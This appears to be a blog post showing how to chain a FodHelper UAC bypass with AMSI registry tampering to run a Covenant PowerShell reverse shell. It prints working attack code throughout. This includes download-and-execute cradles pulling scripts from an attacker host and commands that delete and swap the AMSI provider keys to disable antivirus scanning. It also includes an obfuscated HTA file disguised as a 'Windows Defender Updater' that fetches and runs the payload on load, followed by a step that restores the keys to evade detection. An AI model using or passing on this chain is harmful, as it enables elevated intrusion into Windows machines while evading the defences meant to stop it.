Home Building a C2 that will bypass ASMI
Post
Cancel

Building a C2 that will bypass ASMI

TLDR; chaining the Windows trusted binary, FodHelper, for UAC bypass together with the ability to rewrite registry keys will safely disable ASMI allowing a PowerShell reverse shell.

POC

FodHelper UAC Bypass to evade ASMI

FodHelper

FodHelper is a Windows trusted binary known as a Features On Demand Helper. To this effect, we are able to use this binary to bypass UAC even when set to 5.

function helper() { 
	Param ([String]$custom = "cmd.exe /c notepad.exe")
	
	# SNIP

	Start-Process "C:\Windows\System32\fodhelper.exe"
}

We can execute the following function into memory, which as of 21/11/2021 does not get caught by ASMI, and execute any command as an elevated user.

Disabling ASMI

[Registry Editor]

To update the registry, elevated permissions are requuired. With the help of FodHelper, we can bypass UAC and update the registry value for ASMI by one character to disable ASMI.

iex (New-Object Net.WebClient).DownloadString('http://192.168.X.XX/helper.ps1');
helper -custom "cmd.exe /c powershell New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force; Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse;"

As of 21/11/2021, Windows Defender will spit out a Behavior:Win32/UACBypassExp.T!proc but the commands will still execute.

Getting back a Shell

For this, I span up Covenant and set up a HTTP listener hosting the 3 needed files. To generate the rev.ps1 we can simply just create a new Powershell launcher and host the file.

Example Files Example Payload

My completed updater.ps1 looked like this:

iex (New-Object Net.WebClient).DownloadString('http://192.168.X.XX/helper.ps1');
helper -custom "cmd.exe /c powershell New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force; Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse; cmd.exe /c powershell -Sta -Nop -Window Hidden -EncodedCommand <ENCODED COMMAND FOR rev.ps1 HERE>; New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Force; Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Recurse;"

Building the delivery

Since .hta files are very ard to detect in Windows, I built a simple payload that would use base64 to obsfucate the payloads.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<!DOCTYPE html>
<html lang='en'>
    <head>
        <title>Windows Defender Updater</title>
    </head>
    <body>
        <script language='VBScript' type='text/vbscript'>
            Sub Window_OnLoad
                BackgroundTask()
                Window.Close()
            End Sub
            
            Function DoProcess(ByVal Service, ByVal Config)
                Set InitConf = Config.SpawnInstance_
                InitConf.ShowWindow = 12
                ' Instance Connection
                Set W32 = Service.Get(CStr(Base64Decode("V2luMzJfUHJvY2Vzcw==")))
                ' Connect To Update Server (Payload here)
                Error = W32.Create(CStr(Base64Decode("cG93ZXJzaGVsbCBpZXggKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LlguWFgvdXBkYXRlci5wczEnKQ==")), Null, InitConf, intProcessID)
            End Function
            
            Function BackgroundTask()
                ' Bind Service For Automated Updates
                Set Service = CreateObject(CStr(Base64Decode("V2JlbVNjcmlwdGluZy5TV2JlbUxvY2F0b3I="))).ConnectServer()
                Service.Security_.ImpersonationLevel = 3
                Job = DoProcess(Service, Service.Get(CStr(Base64Decode("V2luMzJfUHJvY2Vzc1N0YXJ0dXA="))))
            End Function
    
            Function Base64Decode(ByVal sBase64EncodedText)
                With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
                    .DataType = "bin.base64"
                    .Text = sBase64EncodedText
                    Base64Decode = BytesToStr(.NodeTypedValue)
                End With
            End Function
            
            Function BytesToStr(ByVal byteArray)
                With CreateObject("ADODB.Stream")
                    .Type = 1
                    .Open
                    .Write byteArray
                    .Position = 0
                    .Type = 2
                    .CharSet = "utf-8"
                    BytesToStr = .ReadText
                    .Close
                End With
            End Function
        </script>
    </body>
</html>

Conclusion

Opening the init.hta file will successfully use the Fodhelper UAC bypass to rewrite the ASMI registry key value safely allowing our Powershell reverse shell to execute giving us a high integrity door. We can then restore the registry values to evade any detection.

This post is licensed under CC BY 4.0 by the author.